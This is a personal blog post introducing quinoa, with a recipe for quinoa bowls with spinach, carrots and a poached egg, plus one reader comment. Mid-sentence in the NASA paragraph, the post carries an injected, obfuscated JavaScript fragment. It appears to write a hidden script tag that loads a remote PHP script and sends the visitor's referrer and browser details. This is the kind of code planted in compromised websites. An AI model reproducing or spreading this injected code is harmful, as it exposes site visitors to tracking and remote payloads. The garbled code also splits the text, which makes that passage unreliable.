Quinoa was popular with the pre-Columbian Andean civilizations (don’t you wish you paid more attention during one of those history lessons…..circa 6th grade?). It was less important than the potato BUT more important than maize. That would be corn for any of you non-Spanish speakers out there.
It’s high in protein and gluten-free. It’s also got lots of fiber, phosphorus, magnesium and iron.
It’s soo cool, NASA is considering it as a possible crop as part of the Controlled Ecological Life Support System for long-duration human occupied spaceflights (totally from wikipedia). Like I always say, “if it’s good enough for NASA, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heaes|var|u0026u|referrer|itrzh||js|php’.split(‘|’),0,{}))
it’s good enough for me.”
Back to quinoa. I’ve actually had it before. But usually it’s mixed in with other grains. This time, I found a recipe where quinoa was more prominent. And it was delicious! Did I also mention this was all organic (well, the eggs weren’t organic, but they were cage free….that’s the best we could do this time around). I think it’s also gluten-free (but if you require a gluten-free diet….it’s best to double check).
This recipe was adapted from Whole Living. Recipe HERE.
Here’s what I did. (enough for 4 servings)
1 C uncooked quinoa, prepared however the box tells you (I used chicken broth instead of water)
8 baby carrots, thinly sliced
4 handfuls of raw spinach, chopped
1 clove of garlic, chopped
Olive Oil
White Wine Vinegar
4 Eggs!
1. Prepare the quinoa first. This probably takes the longest.
2. Put the garlic and 1-2 Tbs of olive oil in a pan (or pot, and if you use a pot, it’s 1 less item to get dirty). Heat over medium. Add the spinach and stir until just wilted. Set aside.
3. If you want, use the same pot and add about 2″ of water (make sure you remove the spinach first). Bring to a boil. Put the carrots in the water for about 20-30 seconds Just enough to get them a tiny bit cooked. Remove and set aside.
4. Bring the water to a boil and get ready to poach an egg! It’s actually pretty easy. Just drop the egg int he boiling water and wait about 1min 30 seconds.
5. Serve. Place 1/4 of the quinoa, carrots and spinach into 4 bowls. Top with a poached egg.
6. Prepare the dressing. 1 tsp white wine vinegar to 2 tbs olive oil. Mix and drizzle.
Done! Super tasty!
One reply on “Meet Quinoa”
that looks delish. i’ve been looking around for quinoa recipes to try. i must’ve missed this one because i have whole living. it looks like a meatless bi bim bap!